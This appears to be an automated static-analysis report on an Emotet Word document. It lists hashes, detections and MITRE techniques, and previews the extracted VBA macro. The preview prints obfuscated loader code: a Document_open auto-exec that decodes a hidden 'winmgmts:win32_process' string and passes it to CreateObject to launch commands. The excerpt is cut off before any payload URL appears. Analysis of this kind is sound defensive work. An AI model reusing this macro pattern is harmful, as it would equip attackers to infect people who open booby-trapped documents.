Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c23ef828e26a8e58…

MALICIOUS

Office (OLE)

226.8 KB Created: 2020-08-26 06:04:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 906942deabebe6538e8ee1121cb269b9 SHA-1: 33bdf28419a0b5f31ba6181a53b8e3e790dec3c5 SHA-256: c23ef828e26a8e58883d3399ccd51500b00ea3e565db639e01ac25e128845e49
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm to execute a command stager. This is a common technique for Emotet to download and execute further malicious payloads. The ClamAV detection also explicitly names Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12201 bytes
SHA-256: e57d7a369e8bec47edb186e4241abee988c706684bb72c49a51af9cd80c0acee
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Q0rhxfhgq3smlfoz3v"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ytx9pgcxpall5v.Nvdq6tlp8_skuoz
End Sub


Attribute VB_Name = "Ytx9pgcxpall5v"
Attribute VB_Base = "0{2FB90E2D-3921-479E-9363-2273FF824F14}{F34DE3E4-B2C8-4062-A85D-DA7D12C6950E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Nvdq6tlp8_skuoz()
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Hdv27r5yfjcg = Osd + 45 + hwb + 55
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Dbt3vs5li7q8h1f = ChrW(Hdv27r5yfjcg + (nbs + 10 + wbvd + 5))
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Ihdlo4uad3qtskk = "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ai[[[372vfr56 61fs[][324 24 2ds[]anm[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]agm[[[372vfr56 61fs[][324 24 2ds[]at[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a" + Dbt3vs5li7q8h1f + "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a:[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ain[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a3[[[372vfr56 61fs[][324 24 2ds[]a2[[[372vfr56 61fs[][324 24 2ds[]a_[[[372vfr56 61fs[][324 24 2ds[]a" + Ytx9pgcxpall5v.Maj92u8rb4yom99 + "[[[372vfr56 61fs[][324 24 2ds[]aro[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]ace[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]a"
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Baoklo6s_6pba85 = C7j19wzadxxrwc(Ihdlo4uad3qtskk)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Set Akesfv78u6pr3 = CreateObject(Baoklo6s_6pba85)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 =
... (truncated)

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